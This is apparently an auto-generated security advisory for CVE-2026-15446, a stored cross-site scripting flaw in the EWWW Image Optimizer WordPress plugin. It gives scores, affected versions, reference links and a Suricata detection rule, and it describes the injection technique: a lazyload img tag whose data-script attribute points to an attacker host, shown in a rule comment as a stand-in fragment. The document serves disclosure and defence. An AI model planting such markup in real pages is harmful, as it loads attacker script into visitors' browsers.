CVE-2026-15446: nosilver4u EWWW Image advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

The EWWW Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via ‘data-script’ Lazy Load Attribute in Post Content in all versions up to, and including, 8.7.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is achieved by embedding a crafted img element with class=’lazyload’ and a data-script attribute pointing to an attacker-controlled URL in post content, which the plugin’s bundled lazysizes ls.unveilhooks addon then uses to dynamically create and insert a script element into the DOM at page view time.

Description quoted from the CVE record (assigned by Wordfence, published 2026-08-19).

Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality low, integrity low, availability none. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-62342, GHSA-pc6p-pvrm-j4j5

VEDAS cluster: VEDAS:DEATHGIVER

Exploit Observer links 3 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (3)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-62342
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-pc6p-pvrm-j4j5
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-15446
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2026-15446

11 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.004
low predicted chance of attack
VEDAS: 0.979
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Suricata

Who is affected

Product	Affected	Not affected
nosilver4u EWWW Image Optimizer	up to and including 8.7.3	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-15446 EWWW Image Optimizer - Stored XSS via data-script Lazy Load attribute. Add them to your Suricata rule set and reload.

Show the rules

suricata

# CVE-2026-15446 - EWWW Image Optimizer <= 8.7.3 WordPress plugin stored XSS. A
# contributor-or-above author embeds an <img class="lazyload" data-script="//attacker/..">
# element in post content; the bundled lazysizes ls.unveilhooks addon creates a <script>
# from data-script at view time. Matches the authenticated content-save POST carrying the
# lazyload + data-script attribute pair (stored XSS -> network detection only).
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-15446 EWWW Image Optimizer - Stored XSS via data-script Lazy Load attribute"; flow:established,to_server; http.request_body; content:"lazyload"; nocase; content:"data-script"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-15446; reference:url,https://www.exploit.observer/?keyword=CVE-2026-15446&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ewww-image-optimizer&match=exact; sid:1101401; rev:1;)

CVE-2026-15446.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.